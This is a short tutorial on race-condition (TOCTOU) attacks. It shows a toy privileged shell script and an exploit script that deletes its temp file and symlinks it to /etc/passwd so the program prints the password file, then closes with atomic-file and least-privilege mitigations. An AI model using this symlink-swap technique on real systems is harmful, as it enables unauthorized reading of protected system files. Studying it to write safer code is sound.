Caveat

Using this knowledge to exploit a computer system without permission could well be illegal. If you want to try it out, use your own system, or for more fun, get yourself to a Free Hacking Zone.

Introduction

Race conditions provide a helpful, if nondeterministic way for a hacker (of the hax0r variety) to exploit systems.

I will elaborate with a simple example; but note that in real life, it will never be this simple. The clued-in hacker must think around the problem, and apply the basic knowledge to the situation at hand.

Consider where the output is going... what input you could exploit... how to find a race condition.

The Theory

Imagine there is a priviledged process, which performs the following simple task:

Now, our programmer is aware of some possible exploits, and therefore ensures that if the file already exists on the system, then the program will be wary, and exit. We don't want anyone compromising our system, do we?

The hacker, however, posesses the most important trait of a good hacker... he is one step ahead.

We can utilise a race condition, which will wait until the main program has already performed its security checks; then substitute the file it's using. When the main program comes to output the file, we've really linked to a file we shouldn't be able to view. The program can access the file due to its higher security priviledge.

The program

#!/bin/sh

# Check that we haven't been compromised...
if [ -e file.tmp ]
then
 echo 'File exists: exiting'
 exit
fi

# Ok... we're fine, create and process the file.
echo 'Does not exist... creating'
echo I am too clever for your haxing exploit! > file.tmp

# Now we can display the file... it can't have changed, surely?
echo 'Listing...'
cat file.tmp
echo '(Done listing)'

# Remove the file.
echo 'Deleting...'
rm file.tmp

We've covered all the bases here. We won't run if the file already exists. We create a file, write into it, list it, remove it and exit. What could go wrong?

The Exploit

#!/bin/sh

# Run the unsuspecting program in the background.
/bin/bash -e prog &

# Go! Quick! Substitute the file!
rm -rf file.tmp
ln -s /etc/passwd file.tmp

# Wait for the dust to settle, then clear up.
sleep 1
rm -rf file.tmp

Here, we start the original program, then boldly remove the temporary file it has created, and link to the password file instead. If the timing happens to work correctly on a specific run, the output of the main program will be the password file!

Conclusion

Because this is a nondeterministic system, we may have to run it many, many times before the timing is perfect; hence we clear up after ourselves, so when the main program is run again, it suspects nothing.

It takes time and determination to exploit a system. But it's nearly always possible, whether through a race condition, or by other means.

In order to help avoid this particular problem, the programmer should ensure that the file operation is atomic, thereby locking out access of the temporary file to anyone else for the time it is required. Another common solution to similar exploits is to allow the program to have priviledged security for no longer than absolutely necessary.